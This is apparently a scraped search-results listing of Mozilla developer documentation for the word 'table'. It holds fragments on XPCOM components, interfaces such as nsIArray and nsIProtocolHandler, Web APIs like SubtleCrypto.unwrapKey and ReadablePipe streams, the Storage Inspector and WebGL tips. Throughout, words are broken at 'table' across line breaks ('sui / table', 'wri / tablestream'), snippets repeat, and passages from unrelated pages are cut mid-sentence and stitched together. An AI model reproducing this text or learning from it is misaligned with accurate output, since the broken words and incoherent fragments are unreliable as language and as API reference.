...t guides and references to ensuring the code you write is secure, including both design recommendations and testing guidelines. a web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates. ...
...the code you write is secure, including both design recommendations and testing guidelines. a web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates. ...
...cure, including both design recommendations and testing guidelines. a web pki x509 certificate primerx.509 (in this document referred as x509) is an itu standard to describe certificates. this article provides an overview of what these are and how they work.exploi
table crashesthis article will help you determine if a crash is exploi
table, find crashes which are exploi
table, and to fix exploi
table crashes.handling mozilla security bugsthis document describes how the new security organizational structure will work, and how security-related mozilla bug reports will be handled.pinning violation reportsif a site makes use of key pinning, and your browser sees a certificate chain for that site which does not match the pin, firefox will reject the connection and display an error page. secure...
ROLE_CELL
« gecko roles page represents a cell within a
table. also, see role_
table. ...
... « gecko roles page represents a cell within a
table. also, see role_
table. ...
... « gecko roles page represents a cell within a
table. also, see role_
table. ...
... « gecko roles page represents a cell within a
table. also, see role_
table. ...
An Overview of XPCOM
orkings of their software, and allow clients to ignore how things are made and just use that software. interfaces and programming by contract an interface forms a contractual agreement between components and clients. there is no code that enforces these agreements, but ignoring them can be fatal. in component-based programming, a component guarantees that the interfaces it provides will be immu
table - that they will provide the same access to the same methods across different versions of the component - establishing a contract with the software clients that use it. in this respect, interface-based programming is often referred to as programming by contract. interfaces and encapsulation between component boundaries, abstraction is crucial for software maintainability and reusability. consi...
... pointer is cast to void, the reference count is incremented, and the interface returned to the caller. if there isn't a match, the class returns an error and sets the out value to null. in the example above, it's easy enough to use a c-style cast. but casting can become more involved where you must first cast void then to the requested type, because you must return the interface pointer in the v
table corresponding to the requested interface. casting can become a problem when there is an ambiguous inheritance hierarchy. xpcom identifiers in addition to the iid interface identifier discussed in the previous section, xpcom uses two other very important identifiers to distinguish classes and components. xpcom identifier classes the nsiid class is actually a typedef for the nsid class. the ot...
...on or java, depending on the state of the respective bindings), and there are efforts underway to build xpcom bindings for ruby and perl as well. writing components in other languages though you do not have access to some of the tools that xpcom provides for c++ developers (such as macros, templates, smart pointers, and others) when you create components in other languages, you may be so comfor
table with the language itself that you can eschew c++ altogether and build, for example, python-based xpcom components that can be used from javascript or vice versa. see resources for more information about python and other languages for which support has been added in xpcom. all of the public interfaces in xpcom are defined using the xpidl syntax. type libraries and c++ header files are generated...
...ethod declaration return type. xpcom method declarations should use this as their return type. ns_imethodimp method implementation return type. xpcom method implementations should use this as their return type. ns_imethodimp_(type) special case implementation return type. some methods such as addref and release do not return the default return type. this exception is regret
table, but required for com compliance. ns_import forces the method to be resolved internally by the shared library. ns_export forces the method to be exported by the shared library. reference counting these macros manage reference counting. ns_addref calls addref on an nsisupports object. ns_if_addref same as above but checks for null before cal...
Using XPCOM Components
ct to seamlessly connect to the cookiemanager component (see connecting to components from the interface below). xul is just one way to expose the functionality of the cookiemanager component-but it's a particularly useful one in the mozilla world. the functionality of the cookiemanager component is available through the nsicookiemanager interface, which is comprised of the public methods in the
table below. the nsicookiemanager interface removeall remove all cookies from the cookie list. enumerator enumerate through the cookie list. remove remove a particular cookie from the list. in xpcom the interface is guaranteed to stay the same even if the underlying implementation changes. the interfaces are public, in other words, and the implementations ar...
... called from javascript, as part of javascript objects that represent instances of components like the cookiemanager. xpconnect is what binds the application code to the user interface of the mozilla browser, to other gecko-based xul, and to javascript environments like xpcshell, which is a command-line javascript interpreter and xpcom tool is built with mozilla. see http://www.mozilla.org/scrip
table/ for more information about xpconnect and javascript. this isn't quite all there is to it, of course, but this shows an important aspect of xpcom. the contractual arrangements that xpcom enforces open up the way to binary interoperability - to being able to access, use, and reuse xpcom components at runtime. and they make it possible to use components written in other languages - such as javasc...
...e right column a list of the interfaces. when you open a component on the left, you can see the interfaces it implements along with a list of the methods provided by each interface. the xpcom component viewer can be extremely useful for this sort of gross interrogation, but again: it displays all of the components and interfaces in your build, many of which are not practical for actual reuse or s
table enough to be used reliably in your own application development. use comprehensive lists like this with caution. using xpcom components in your cpp xpconnect makes it easy to acecss xpcom components as javascript objects, but using xpcom components in c++ is not much more difficult. managing cookies from cpp duplicates code from getting the cookiemanager component in javascript, but in c++ in...
...t being created with the getservice() method and used to provide the functionality that lets users load and remove cookies from the user interface. managing cookies from javascript var cmgr = components.classes["@mozilla.org/cookiemanager;1"] .getservice(); cmgr = cmgr.queryinterface(components.interfaces.nsicookiemanager); function loadcookies() { // load cookies into a
table var enumerator = cmgr.enumerator; var count = 0; var showpolicyfield = false; while (enumerator.hasmoreelements()) { var nextcookie = enumerator.getnext(); nextcookie = nextcookie.queryinterface(components.interfaces.nsicookie); /* .... */ } function finalizecookiedeletions() { for (var c=0; c<deletedcookies.length; c++) { cmgr.remove(deletedcookies[c].host, ...
mozIStorageAggregateFunction
d aggregate functions that are available to sql queries and triggers. an aggregate function is a function that returns one value from a series of values. there are a number of already defined aggregate functions provided by sqlite. objects implementing this interface can be registered with mozistorageconnection.createaggregatefunction(). storage/public/mozistorageaggregatefunction.idlscrip
table please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onstep(in mozistoragevaluearray afunctionarguments); nsivariant onfinal(); methods onstep() this is called for each row of results returned by the query. the implementation should store or perform some work to prepare to return a value. ...
...urn value * value; }); total = 0; data.foreach(function(elt) { total += elt }); this._numbers = []; return math.sqrt(total / ilength); } }; // now, register our function with the database connection. dbconn.createaggregatefunction("stddev", 1, standarddeviationfunc); // run some query that uses the function. let stmt = dbconn.createstatement("select stddev(value) from some_
table"); try { while (stmt.executestep()) { // handle the results } } finally { stmt.reset(); } c++ // first, create our class that will represent our function. class standarddeviationfunc : public mozistorageaggregatefunction { public: ns_imethod onstep(mozistoragevaluearray *aarguments) { print32 value; nsresult rv = aarguments->getint32(&value); ns_ensure_success(rv, rv)...
...nscomptr<moz...
... connection. ...
nsIArray
neither interface makes any attempt to protect the individual elements from modification. the convention is that the elements of the array should not be modified. documentation within a specific interface should describe variations from this convention. ...
...rray.idlscrip
table this interface implements an array object. inherits from: nsisupports last changed in gecko 1.7 an indexed collection of elements. provides basic functionality for retrieving elements at a specific position, searching for elements. indexes are zero-based, such that the last element in the array is stored at the index length-1. for an array which can be modified, see nsimu
tablearray. neither interface makes any attempt to protect the individual elements from modification. the convention is that the elements of the array should not be modified. documentation within a specific interface should describe variations from this convention. ...
...imu
tablearray. neither interface makes any attempt to protect the individual elements from modification. the convention is that the elements of the array should not be modified. documentation within a specific interface should describe variations from this convention. it is also convention that if an interface provides access to an nsiarray, that the array should not be queryinterfaced to an nsimu
tablearray for modification. if the interface in question had intended the array to be modified, it would have returned an nsimu
tablearray! null is a valid entry in the array, and as such any nsisupports parameters may be null, except where noted. method overview nsisimpleenumerator enumerate(); unsigned long indexof(in unsigned long startindex, in nsisupports element); void queryelementat(in un...
...thod, but exceptions are thrown in other circumstances. void queryelementat( in unsigned long index, in nsiidref uuid, [iid_is(uuid), retval] out nsqiresult result ); parameters index position of element. uuid the iid of the requested interface. result the object, queryinterface'd to the requested interface. exceptions thrown ns_error_illegal_value when index > length-1. see also nsimu
tablearray ...
nsIDOMProgressEvent
dom/interfaces/events/nsidomprogressevent.idlscrip
table this interface represents the events sent with progress information while uploading data using the xmlhttprequest object. 1.0 66 introduced gecko 1.9.1 deprecated gecko 22 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) the nsidomprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download. this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent. ...
...mprogressevent is used in the media elements (<video> and <audio>) to inform interested code of the progress of the media download. this implementation is a placeholder until the specification is complete, and is compatible with the webkit progressevent. method overview void initprogressevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in boolean lengthcompu
tablearg, in unsigned long long loadedarg, in unsigned long long totalarg); deprecated since gecko 22.0 attributes attribute type description lengthcompu
table boolean specifies whether or not the total size of the transfer is known. read only. loaded unsigned long long the number of bytes transferred since the beginning of the operation. this doesn't...
...ds initprogressevent() deprecated since gecko 22.0 this method has been removed from use in javascript in gecko 22.0. use the regular constructor to construct a synthetic progressevent. it still is usable from native c++ code. initializes the progress event object. ...
...boolean cancelablearg, in boolean lengthcompu
tablearg, in unsigned long long loadedarg, in unsigned long long totalarg ); parameters typearg the type of event. must be one of "abort", "error", "load", "loadstart", or "progress". canbubblearg specifies whether or not the created event will bubble. cancelablearg specifies whether or not the created event can be canceled. lengthcompu
tablearg if the size of the data to be transferred is known, this should be true. otherwise, specify false. loadedarg the number of bytes already transferred. must be a non-negative value. totalarg the total number of bytes to be transferred. if lengthcompu
table is false, this must be zero. see also using xmlhttprequest xmlhttprequest nsixmlhttprequesteventtarget nsixmlhttprequest ...
nsIEditor
« xpcom api reference editor/nsieditor.idlscrip
table provides methods and attributes used when editing page content. 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 18.0 (firefox 18.0 / thunderbird 18.0 / seamonkey 2.15) method overview [noscript] void init(in nsidomdocument doc, in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags); void setattributeorequivalent(in nsidomelement element, in astring sourceattrname, in astring sourceattrvalue, in boolean asuppresstransaction); void removeattributeorequivalent(in nsidomelement element, in domstring sourceattrname, in boolean asuppresstransaction); void postcreate(); void predestroy(in boolean adestroyingframes); ...
...terset acstring sets the current 'save' document character set. documentisempty boolean read only. returns true if the document has no *meaningful* content. documentmodified boolean read only. returns true if the document is modifed and needs saving. flags unsigned long edit flags for this editor. may be set at any time. isdocumentedi
table prbool read only. returns true if we have a document that is not marked read-only. isselectionedi
table boolean read only. true if the current selection anchor is edi
table; otherwise false. this helps to support cases where only parts of the document are edi
table, by letting you see if the current selection is in an edi
table section. rootelement nsidomelement ...
... selection nsiselection read only. the selection/caret for this editor. in the case of a design mode document, this is the same as the window's selection. selectioncontroller nsiselectioncontroller read only. ...
...llptr shell, obsolete since gecko 5 in nsicontent aroot, in nsiselectioncontroller aselcon, in unsigned long aflags ); parameters doc the document to observe. shell obsolete since gecko 5.0 the nsipresshellptr representing the presentation shell displaying the document. this parameter was removed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2). aroot the root of the edi
table section of this document; if it's null, the editor gets its root from document.body. aselcon the nsiselectioncontroller object used to get selection location information. this should be null for html editors. aflags a bit mask of flags controlling the editor's behavior. need to document what the possible values are. ...
nsIProtocolHandler
if you wish to create a new protocol handler, you need to implement this interface. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string scheme); nsichannel newchannel(in nsiuri auri); nsiuri newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default. ...
...ile system. it's up to the application to decide what origins should have such access. protocols like file that point to local data should set this flag. uri_loadable_by_subsumers 1<<14 the uris for this protocol can be loaded only by callers with a principal that subsumes this uri. for example, privileged code and websites that are same origin as this uri. uri_non_persis
table 1<<10 loading channels from this protocol has side-effects that make it unsui
table for saving to a local file. uri_does_not_return_data 1<<11 channels using this protocol never call ondataavailable() on the listener passed to asyncopen(), and therefore do not return any usable data. uri_is_local_resource 1<<12 uris for this protocol are considered to...
...override is being requested. return value return true if the override is approved; otherwise, return false. newchannel() constructs a new channel from the given uri for this protocol handler. nsichannel newchannel( in nsiuri auri ); parameters auri the uri for which to construct a channel. return value return the newly constructed channel. newuri() makes a uri object that is sui
table for loading by this protocol, where the uri string is given as an utf-8 string. the caller may provide the charset from which the uri string originated, so that the uri string can be translated back to that charset (if necessary) before communicating with, for example, the origin server of the uri string. (many servers do not support utf-8 iris at the present time, so we must be careful about tra...
... when communicating this uri to an origin server. if this is null, then utf-8 encoding is assumed and no character transformation is not performed. abaseuri if null, aspec must specify an absolute uri. otherwise, aspec may be resolved relative to abaseuri, depending on the protocol. if the protocol has no concept of relative uris, this parameter is ignored. return value the new uri object sui
table for loading using the protocol. see also nsiproxiedprotocolhandler adding a new protocol to mozilla writing a firefox protocol handler custom about: urls - similar to adding new protocol but adding onto the existing about: protocol ...
nsIWebContentHandlerRegistrar
typically they will prompt the user to confirm adding an entry to the local list. ...
...ar nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); var htmlcontentwindow = undefined; var registeruri = 'http://mail.live.com/secure/start?action=compose&to=%s'; var myurihostname = services.io.newuri(registeruri, null, null).host; // this section here is long and daunting, but its just finding a sui
table contentwindow var domwindows = services.wm.getenumerator(null); while (domwindows.hasmoreelements()) { var adomwindow = domwindows.getnext(); if (adomwindow.gbrowser) { if (adomwindow.gbrowser.tabcontainer) { //adomwindow has tabs var tabs = adomwindow.gbrowser.tabcontainer.childnodes; for (var i = 0; i < tabs.length; i++) { cons...
...must have a content window to pass to registerprotocolhandler as it prompts the user for permission'); } nsiwchr.registerprotocolhandler("mailto", registeruri, "outlook.com live mail", htmlcontentwindow); in this example the services.wm.getenumerator was used to fin...
....contentwindow; break; } } } else { //adomwindow is a popup window if (adomwindow.location.hostname == myurihostname) { htmlcontentwindow = adomwindow; break; } } } // this section here is long and daunting, but its just finding a sui
table contentwindow if (!htmlcontentwindow) { throw new error('no sui
table content window found, will not reigsterprotocolhandler. must have a content window to pass to registerprotocolhandler as it prompts the user for permission'); } nsiwchr.registerprotocolhandler("mailto", registeruri, "outlook.com live mail", htmlcontentwindow); in this example the services.wm.getenumerator was used to find a window that had the same host name (contentwindow.location.hostname) a...
Initialization and Destruction - Plugins
instance of the plug-in. for more information, see registering plug-ins. plug-ins are native code libraries: .dll files on windows, .so or .dso files on unix, and powerpc shared library files or 68k code resources on mac os. to reduce memory overhead, plug-ins are usually loaded only when needed and released as soon as possible. ...
...gistering plug-ins. plug-ins are native code libraries: .dll files on windows, .so or .dso files on unix, and powerpc shared library files or 68k code resources on mac os. to reduce memory overhead, plug-ins are usually loaded only when needed and released as soon as possible. in the initialization process, the browser passes the plug-in two
tables of function pointers for all api calls: one
table lists all api calls from the plug-in to the browser. ...
...les on windows, .so or .dso files on unix, and powerpc shared library files or 68k code resources on mac os. to reduce memory overhead, plug-ins are usually loaded only when needed and released as soon as possible. in the initialization process, the browser passes the plug-in two
tables of function pointers for all api calls: one
table lists all api calls from the plug-in to the browser. this
table is filled out by the browser before the initialization call. the other
table lists all api calls from the browser to the plug-in. this
table is filled out by the plug-in during the initialization call. the function
tables also contain version information that the plug-in checks to verify that it is compatible with the api capabilities provided by the application. to check this information, use...
...however, because np_initialize is called at the end of the initialization process, you can call other methods, such as npn_memalloc and npn_status, from np_initialize. instance creation after initialization, the plug-in instance is created. ...
Storage Inspector - Firefox Developer Tools
e firefox menu panel (or tools menu if you display the menu bar or are on macos), or by pressing its shift + f9 keyboard shortcut. the toolbox will appear at the bottom of the browser window, with the storage inspector activated. it's just called "storage" in the developer toolbox. storage inspector user interface the storage inspector ui is split into three main components: storage tree
table widget sidebar storage tree the storage tree lists all the storage types that the storage inspector can inspect: under each type, objects are organized by origin. for cookies, the protocol does not differentiate the origin. for indexed db or local storage an origin is a combination of protocol + hostname. for example, "http://mozilla.org" and "https://mozilla.org" are two different origi...
...types, there's only one level in the hierarchy, so stored items are listed directly under each origin: you can click on each item in the tree to expand or collapse its children. the tree is live, so if a new origin gets added (by adding an iframe, for example), it will be added to each storage type automatically. clicking on a tree item will display detailed information about that item in the
table widget on the right. for example, clicking on an origin which is a child of the cookies storage type will show all the cookies belonging to that domain.
table widget the
table widget displays a list of all the items corresponding to the selected tree item (be it an origin, or database) are listed. depending on the storage type and tree item, the number of columns in the
table might differ. all...
...ht. for example, clicking on an origin which is a child of the cookies storage type will show all the cookies belonging to that domain.
table widget the
table widget displays a list of all the items corresponding to the selected tree item (be it an origin, or database) are listed. depending on the storage type and tree item, the number of columns in the
table might differ. all the columns in a
table widget are resizable. you can hide and show columns by context-clicking on the
table header and selecting the columns you want to see: search there's a search box at the top of the
table widget: this filters the
table to show only items which match the search term. items match the search term if any of their fields (including fields whose columns you have hidden) contain the search term. ...
...luding fields whose columns you have hidden) contain the search term. you can use ctrl + f (cmd + f on a mac) to focus the search box. add and refresh storage you'll also have buttons available to add a new storage entry or refresh the view of the currently viewed storage type where applicable (you can't add new entries to indexeddb or cache): sidebar when you select any row in the storage
table widget, the sidebar is shown with details about that row. if a cookie is selected, it will list all the details about that cookie. the sidebar can parse the value of the cookie or local storage item or an indexeddb item and convert it into a meaningful object instead of just a string. for example: a stringified json like '{"foo": "bar"}' is shown as the origin json: {foo: "bar"}. a string co...
DOMMatrix - Web APIs
is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
... is2d read only a boolean flag whose value is true if the matrix was initialized as a 2d matrix. if false, the matrix is 3d. isidentity read only a boolean whose value is true if the matrix is the identity matrix. ...
...ansform or transforms. returns itself. dommatrix.skewxself() modifies the matrix by applying the specified skew transformation along the x-axis. returns itself. dommatrix.skewyself() modifies the matrix by applying the specified skew transformation along the y-axis. returns itself. static methods this interface inherits methods from dommatrixreadonly. fromfloat32array() creates a new mu
table dommatrix object given an array of single-precision (32-bit) floating-point values. if the array has six values, the result is a 2d matrix; if the array has 16 values, the result is a 3d matrix. otherwise, a typeerror exception is thrown. fromfloat64array() creates a new mu
table dommatrix object given an array of double-precision (64-bit) floating-point values. if the array has six values, the ...
... usage notes the matrix defined by the dommatrix interface is comprised of four rows of four columns each. ...
Comparison of Event Targets - Web APIs
rget event.webidl the original target of the event, before any retargetings. see anonymous content#event_flow_and_targeting for details. event.composedtarget event.webidl the original non-native target of the event before composition from shadow dom. ...
... of the event before composition from shadow dom. ...
...lapse: collapse; height: 150px; width: 100%; } td { border: 1px solid #ccc; font-weight: bold; padding: 5px; min-height: 30px; } .standard { background-color: #99ff99; } .non-standard { background-color: #902d37; } </style> </head> <body> <
table> <thead> <tr> <td class="standard">original target dispatching the event <small>event.target</small></td> <td class="standard">target who's event listener is being processed <small>event.currenttarget</small></td> <td class="standard">identify other element (if any) involved in the event <small>event.relatedtarget</small></td> <td class=...
...e was a retargetting of the event for some reason <small> event.originaltarget</small> contains the target before retargetting (may contain anonymous targets)</td> </tr> </thead> <tr> <td id="target"></td> <td id="currenttarget"></td> <td id="relatedtarget"></td> <td id="explicitoriginaltarget"></td> <td id="originaltarget"></td> </tr> </
table> <p>clicking on the text will show the difference between explicitoriginaltarget, originaltarget, and target</p> <script> function handleclicks(e) { document.getelementbyid('target').innerhtml = e.target; document.getelementbyid('currenttarget').innerhtml = e.currenttarget; document.getelementbyid('relatedtarget').innerhtml = e.relatedtarget; document.getelemen...
HTMLElement - Web APIs
es from its parent, element, and implements those from documentandelementeventhandlers, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement and toucheventhandlers. htmlelement.accesskey is a domstring representing the access key assigned to the element. htmlelement.accesskeylabel read only returns a domstring containing the element's assigned access key. htmlelement.contentedi
table is a domstring, where a value of true means the element is edi
table and a value of false means it isn't. htmlelement.iscontentedi
table read only returns a boolean that indicates whether or not the content of the element can be edited. htmlelement.contextmenu is a htmlmenuelement representing the contextual menu associated with the element. it may be null. htmlorforeignelement.dataset rea...
...turns a domstringmap with which script can read and write the element's custom data attributes (data-*) . htmlelement.dir is a domstring, reflecting the dir global attribute, representing the directionality of the element. possible values are "ltr", "rtl", and "auto". htmlelement.draggable is a boolean indicating if the element can be dragged. htmlelement.dropzone read only returns a domset
tabletokenlist reflecting the dropzone global attribute and describing the behavior of the element regarding a drop operation. htmlelement.hidden is a boolean indicating if the element is hidden or not. htmlelement.inert is a boolean indicating whether the user agent must act as though the given node is absent for the purposes of user interaction events, in-page text searches ("find in page"), and ...
... page"), and text selection. htmlelement.innertext represents the "rendered" text content of a node and its descendants. as a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard. htmlelement.itemscope is a boolean representing the item scope. htmlelement.itemtype read only returns a domset
tabletokenlist… htmlelement.itemid is a domstring representing the item id. htmlelement.itemref read only returns a domset
tabletokenlist… htmlelement.itemprop read only returns a domset
tabletokenlist… htmlelement.itemvalue returns a object representing the item value. htmlelement.lang is a domstring representing the language of an element's attributes, text, and element contents...
...f, itemprop, properties, and itemvalue. added the following method: forcespellcheck(). moved the onxyz attributes to the globaleventhandlers interface and added an inheritance from it. html5the definition of 'htmlelement' in that specification. recommendation added the following properties: dataset, hidden, tabindex, accesskey, accesskeylabel, draggable, dropzone, contentedi
table, iscontentedi
table, contextmenu, spellcheck, commandtype, commandlabel, commandicon, commandhidden, commanddisabled, commandchecked, style, and all the onxyz properties. moved the id and classname properties to the element interface. document object model (dom) level 2 html specificationthe definition of 'htmlelement' in that specification. obsolete no change from document obje...
IDBLocaleAwareKeyRange - Web APIs
ndexes. ...
...ar keyrangevalue = idblocaleawarekeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); var myindex = objectstore.index('lname'); myindex.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var
tablerow = document.createelement('tr');
tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' + '<td>' + cursor.value.company + '</td>' ...
... ...
... ...
RTCPeerConnection.setRemoteDescription() - Web APIs
exceptions the following exceptions are reported to the rejection handler for the promise returned by setremotedescription(): invalidaccesserror the content of the description is invalid. invalidstateerror the rtcpeerconnection is closed, or it's in a state which isn't compatible with the specified description's type. for example, if the type is rollback and the signaling state is one of s
table, have-local-pranswer, or have-remote-pranswer, this exception is thrown, because you can't roll back a connection that's either fully established or is in the final stage of becoming connected. operationerror any errors that occur which don't match the others specifeid here are reported as operationerror. this includes identity validation errors. rtcerror an rtcerror with the errordetail set ...
...ect's sdplinenumber property indicates the line number within the sdp on which the syntax error was detected. typeerror the specified rtcsessiondescriptioninit or rtcsessiondescription object is missing the type property, or no description parameter was provided at all. usage notes when you call setremotedescription(), the ice agent checks to make sure the rtcpeerconnection is in either the s
table or have-remote-offer signalingstate. these states indicate that either an existing connection is being renegotiated or that an offer previously specified by an earlier call to setremotedescription() is to be replaced with the new offer. in either of those two cases, we're at the beginning of the negotiation process, and the offer is set as the remote description. on the other hand, if we're in t...
...tremotedescription() is to be replaced with the new offer. in either of those two cases, we're at the beginning of the negotiation process, and the offer is set as the remote description. on the other hand, if we're in the middle of an ongoing negotiation and an offer is passed into setremotedescription(), the ice agent automatically begins an ice rollback in order to return the connection to a s
table signaling state, then, once the rollback is completed, sets the remote description to the specified offer. this begins a new negotiation session, with the newly-established offer as the starting point. upon starting the new negotiation with the newly-established offer, the local peer is now the callee, even if it was previously the caller. this happens instead of throwing an exception, thereby r...
...tead of throwing an exception, thereby reducing the number of potential errors which might occur, and simplifies the processing you need to do when you receive an offer, by eliminating the need to handle the offer/answer process differently depending on whether the local peer is the caller or callee. note: earlier implementations of webrtc would throw an exception if an offer was set outside a s
table or have-remote-offer state. deprecated syntax in older code and documentation, you may see a callback-based version of this function used. this has been deprecated and its use is strongly discouraged. you should update any existing code to use the promise-based version of setremotedescription() instead. the parameters for the older form of setremotedescription() are described below, to aid in ...
ReadableStream.pipeTo() - Web APIs
the pipeto() method of the readablestream interface pipes the current readablestream to a given wri
tablestream and returns a promise that fulfills when the piping process completes successfully, or rejects if any errors were encountered. piping a stream will generally lock it for the duration of the pipe, preventing other readers from locking it. syntax var promise = readablestream.pipeto(destination[, options]); parameters destination a wri
tablestream that acts as the final destination for the readablestream. options optional the options that should be used when piping to the wri
table stream. available options are: preventclose: if this is set to true, the source readablestream closing will no longer cause the destination wri
tablestream to be closed. the method will re...
...the source readablestream closing will no longer cause the destination wri
tablestream to be closed. the method will return a fulfilled promise once this process completes, unless an error is encountered while closing the destination in which case it will be rejected with that error. preventabort: if this is set to true, errors in the source readablestream will no longer abort the destination wri
tablestream. the method will return a promise rejected with the source’s error, or with any error that occurs during aborting the destination. preventcancel: if this is set to true, errors in the destination wri
tablestream will no longer cancel the source readablestream. in this case the method will return a promise rejected with the source’s error, or with any error that occurs during canceling ...
...ed with the source’s error, or with any error that occurs during aborting the destination. preventcancel: if this is set to true, errors in the destination wri
tablestream will no longer cancel the source readablestream. in this case the method will return a promise rejected with the source’s error, or with any error that occurs during canceling the source. in addition, if the destination wri
table stream starts out closed or closing, the source readable stream will no longer be canceled. in this case the method will return a promise rejected with an error indicating piping to a closed stream failed, or with any error that occurs during canceling the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. re...
...e method will return a promise rejected with an error indicating piping to a closed stream failed, or with any error that occurs during canceling the source. signal: if set to an abortsignal object, ongoing pipe operations can then be aborted via the corresponding abortcontroller. return value a promise that resolves when the piping process has completed. exceptions typeerror the wri
tablestream and/or readablestream objects are not a wri
table stream/readable stream, or one or both of the streams are locked. examples // fetch the original image fetch('png-logo.png') // retrieve its body as readablestream .then(response => response.body) .then(body => body.pipethrough(new pngtransformstream())) .then(rs => rs.pipeto(new finaldestinationstream())) specifications specifi...
SubtleCrypto.unwrapKey() - Web APIs
to interface "unwraps" a key. this means that it takes as its input a key that has been exported and then encrypted (also called "wrapped"). it decrypts the key and then imports it, returning a cryptokey object that can be used in the web crypto api. as with subtlecrypto.importkey(), you specify the key's import format and other attributes of the key to import details such as whether it is extrac
table, and which operations it can be used for. but because unwrapkey() also decrypts the key to be imported, you also need to pass in the key that must be used to decrypt it. this is sometimes called the "unwrapping key". the inverse of unwrapkey() is subtlecrypto.wrapkey(): while unwrapkey is composed of decrypt + import, wrapkey is composed of encrypt + export. syntax const result = crypto.subtl...
...u also need to pass in the key that must be used to decrypt it. this is sometimes called the "unwrapping key". the inverse of unwrapkey() is subtlecrypto.wrapkey(): while unwrapkey is composed of decrypt + import, wrapkey is composed of encrypt + export. syntax const result = crypto.subtle.unwrapkey( format, wrappedkey, unwrappingkey, unwrapalgo, unwrappedkeyalgo, extrac
table, keyusages ); parameters format is a string describing the data format of the key to unwrap. it can be one of the following: raw: raw format. pkcs8: pkcs #8 format. spki: subjectpublickeyinfo format. jwk: json web key format. wrappedkey is an arraybuffer containing the wrapped key in the given format. unwrappingkey is the cryptokey to use to decrypt the wrapped key...
...rs as required. for rsassa-pkcs1-v1_5, rsa-pss, or rsa-oaep: pass an rsahashedimportparams object. for ecdsa or ecdh: pass an eckeyimportparams object. for hmac: pass an hmacimportparams object. for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass the string identifying the algorithm or an object of the form { "name": algorithm }, where algorithm is the name of the algorithm. extrac
table is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an array indicating what can be done with the key. possible values of the array are: encrypt: the key may be used to encrypt messages. decrypt: the key may be used to decrypt messages. sign: the key may be used to sign messages. verify: the ...
...ls with the unwrapped key as a cryptokey object. exceptions the promise is rejected when one of the following exceptions is encountered: invalidaccesserror raised when the unwrapping key is not a key for the requested unwrap algorithm or if the cryptokey.usages value of that key doesn't contain unwrap. notsupported raised when trying to use an algorithm that is either unknown or isn't sui
table for encryption or wrapping. syntaxerror raised when keyusages is empty but the unwrapped key is of type secret or private. typeerror raised when trying to use an invalid format. supported algorithms the unwrapkey() method supports the same algorithms as the wrapkey() method. examples note: you can try the working examples on github. unwrapping a "raw" key in this example we unwrap an...
WebGL best practices - Web APIs
h as on macos). this is because in desktop opengl, nothing gets drawn if vertex attrib 0 is not array-enabled. you can use bindattriblocation to force a vertex attribute to use location 0, and use enablevertexattribarray(0) to make it array-enabled. estimate a per-pixel vram budget webgl doesn't offer apis to query the maximum amount of video memory on the system because such queries are not por
table. still, applications must be conscious of vram usage and not just allocate as much as possible. one technique pioneered by the google maps team is the notion of a per-pixel vram budget: 1) for one system (e.g. a particular desktop / laptop), decide the maximum amount of vram your application should use. 2) compute the number of pixels covered by a maximized browser window. e.g. (window.innerwid...
...udget: 1) for one system (e.g. a particular desktop / laptop), decide the maximum amount of vram your application should use. 2) compute the number of pixels covered by a maximized browser window. e.g. (window.innerwidth * devicepixelratio) * (window.innerheight * window.devicepixelratio) 3) the per-pixel vram budget is (1) divided by (2), and is a constant. this constant should generally be por
table among systems. mobile devices typically have smaller screens than powerful desktop machines with large monitors. re-compute this constant on a few target systems to get a reliable estimate. now adjust all internal caching in the application (webglbuffers, webgltextures, etc.) to obey a maximum size, computed by this constant multiplied by the number of pixels covered by the current browser windo...
... interpolation of varyings is very cheap, and is done automatically for you through the fixed functionality rasterization phase of the graphics pipeline) for example, a simple animation of a textured surface can be achieved through a time-dependent transformation of texture coordinates. (the simplest case being adding a uniform vector to the texture coordinates attribute vector) if visually accep
table, one can transform the texture coordinates in the vertex shader rather than in the fragment shader, to get better performance. one common trade-off is to some lighting calculations per-vertex instead of per-fragment (pixel). in some cases, especially with simple models or dense vertices, this looks good enough. the inversion of this is if a model has more vertices than pixels in the rendered ou...
...nd ignore the alpha yourself for better performance. consider compressed texture formats while jpg and png are generally smaller over-the-wire, gpu compressed texture formats are smaller on in gpu memory, and are faster to sample from. (this reduces texture memory bandwidth, which is precious on mobile) however, compressed texture formats have worse quality than jpg, and are generally only accep
table for colors (not e.g. normals or coordinates). unfortunately, there's no single universally supported format. every system has at least one of the following though: webgl_compressed_texture_s3tc (desktop) webgl_compressed_texture_etc1 (android) webgl_compressed_texture_pvrtc (ios) webgl 2 has universal support by combining: webgl_compressed_texture_s3tc (desktop) webgl_compressed_textu...
Inputs and input sources - Web APIs
